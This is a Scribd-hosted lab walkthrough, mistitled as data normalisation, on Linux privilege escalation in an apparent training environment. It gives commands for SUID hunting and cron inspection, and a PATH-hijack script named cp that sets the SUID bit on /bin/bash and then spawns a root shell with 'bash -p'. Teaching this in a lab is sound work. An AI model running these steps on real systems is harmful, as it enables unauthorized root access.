Scribd
Upload
2 views9 pages

Data Normalization

The document provides a practical guide on various data normalization and processing techniques, focusing on connectivity checks, process enumeration, SUID binary hunting, cron job analysis, and privilege escalation methods. It includes specific commands for checking running processes, hunting for SUID binaries, and analyzing cron jobs, along with steps to create and execute scripts for privilege escalation. The guide emphasizes verifying the SUID bit on the bash shell to gain elevated access without root credentials.

Uploaded by

Fil Delmonte
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
2 views9 pages

Data Normalization

The document provides a practical guide on various data normalization and processing techniques, focusing on connectivity checks, process enumeration, SUID binary hunting, cron job analysis, and privilege escalation methods. It includes specific commands for checking running processes, hunting for SUID binaries, and analyzing cron jobs, along with steps to create and execute scripts for privilege escalation. The guide emphasizes verifying the SUID bit on the bash shell to gain elevated access without root credentials.

Uploaded by

Fil Delmonte
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Day 6 Hands-on 4 Data

Normalisation and Processing


Techniques
A practical walkthrough of connectivity checks, process enumeration, SUID binary
hunting, cron job analysis, and privilege escalation techniques.
Check Connectivity
01 02

ssh (access user account) check running process thru ps aux logic, compare list of
programs running owned by root and those who are not
owned by root

list of process running owned by root (top 20 only)

ps aux | grep "^root" | head -20

list of process running not owned by root (top 20 only to be able to compare)

ps aux | grep -v "^root" | head -20


Hunt for SUID Binaries
find / -perm -4000 -type f 2>/dev/null
Check Cron Jobs
systemctl status cron

you should see active running which confirms scheduled tasks

check all cron jobs

ls -la /etc/cron.d/
ls -la /etc/[Link]/
ls -la /etc/[Link]/
ls -la /etc/[Link]/
ls -la /etc/[Link]/

look for any files that has any misconfigurations

you should see /etc/crontab

check the content

cat /etc/crontab
Analyse /etc/crontab
check the PATH, it includes /home/student/bin which is not normal

also see the **** root /usr/local/bin/[Link]

that job runs every minute as root , executing the /usr/local/bin/[Link]

Check the contents of /usr/local/bin/[Link] to see what commands it uses:

cat /usr/local/bin/[Link]

you see this

cp /etc/passwd /tmp/backup

script runs cp without absolute path, shell will search the directories listed in PATH to file cp

inside cat /etc/crontab


Create Your Local bin Directory
mkdir -p /home/student/bin

check if directory is writable

ls -ld /home/student/bin

it is owned by student and you can write to it

verify if cron job is actually running

check if /tmp/backup exists and is updated every minute

ls -l /tmp/backup

check the timestamp and wait a minute then check again

ls -ld /home/student/bin

ls -l /tmp/backup
Create Directory
ls (check available directory) pwd
add directory

touch newfile

check directory

ls

add script

nano newfile

check script
change mod

chmod +x newfile

check access

ls -l

Execute script

./newfile
Proceed to /home/student/bin/
cd /home/student/bin/

pwd

Create cp script

touch cp

add new script for cp

nano cp

execute cp

#!/bin/bash
/bin/cp "$@"
chmod 4755 /bin/bash

ls

then make it executable

chmod +x /home/student/bin/cp
Wait and Verify the SUID Bit
then wait for 1 minute , and if it works, it will set the SUID bit on the /bin/bash giving you access to that even without root account

check if it works

ls -l /bin/bash

if you see the SUID bit then congrats!

once that happens you just need to use it

/bin/bash -p

then magic command

whoami
id

You might also like